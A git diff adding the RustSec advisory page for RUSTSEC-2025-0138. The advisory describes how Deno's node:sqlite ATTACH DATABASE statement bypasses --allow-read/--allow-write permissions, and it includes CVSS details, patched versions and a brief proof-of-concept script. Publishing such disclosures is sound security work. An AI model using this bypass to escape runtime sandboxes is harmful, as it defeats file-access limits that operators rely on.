diff --git a/advisories/RUSTSEC-2025-0138.html b/advisories/RUSTSEC-2025-0138.html new file mode 100644 index 000000000..2975d0a4e --- /dev/null +++ b/advisories/RUSTSEC-2025-0138.html @@ -0,0 +1,279 @@ + + + + + + + +RUSTSEC-2025-0138: deno: --allow-read / --allow-write permission bypass in `node:sqlite` › RustSec Advisory Database + + + + + + + + + +
+
+

+ + + +
+ +
+ +
+
+ + + History ⋅ + Edit ⋅ + JSON (OSV) + + + +
+

+ + RUSTSEC-2025-0138 + +

+

--allow-read / --allow-write permission bypass in node:sqlite

+
+
+ + + +
+
Reported
+
+ +
+ +
Issued
+
+ + +
+ +
Package
+
+ + + deno + (crates.io) + + +
+ +
Type
+
+ + Vulnerability + +
+ + + + +
Keywords
+
+ + #read-write-bypass + +
+ + + +
Aliases
+
+ +
+ + + +
References
+
+ +
+ + + + + +
CVSS Score
+
5.5 + MEDIUM +
+ +
CVSS Details
+
+
+ +
Attack Complexity
+
Low
+ +
Attack Requirements
+
None
+ +
Attack Vector
+
Network
+ +
Privileges Required
+
None
+ +
Availability Impact to the Subsequent System
+
None
+ +
Confidentiality Impact to the Subsequent System
+
None
+ +
Integrity Impact to the Subsequent System
+
None
+ +
User Interaction
+
None
+ +
Availability Impact to the Vulnerable System
+
None
+ +
Confidentiality Impact to the Vulnerable System
+
None
+ +
Integrity Impact to the Vulnerable System
+
Low
+ +
Exploit Maturity
+
ProofOfConcept
+ +
+
+ +
CVSS Vector
+ + +
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
+ + + + +
Patched
+
+ +
    + +
  • >=2.2.5
  • + +
+ +
+ + +
Unaffected
+
+
    + +
  • <2.2.0
  • + +
+
+ + + + +
+ + + + +

Description

+

It is possible to bypass Deno's read/write permission +checks by using ATTACH DATABASE statement.

+

PoC

+
// poc.js
+import { DatabaseSync } from "node:sqlite"
+
+const db = new DatabaseSync(":memory:");
+db.exec("ATTACH DATABASE 'test.db' as test;");
+
+db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
+
+
$ deno poc.js
+
+ + +

Advisory available under CC-BY-4.0 + license. + + + + + Source: https://github.com/denoland/deno/security/advisories/GHSA-8vxj-4cph-c596 + + +

+
+
diff --git a/advisories/index.html b/advisories/index.html index 17acd1a13..9e07ab0ea 100644 --- a/advisories/index.html +++ b/advisories/index.html @@ -64,6 +64,25 @@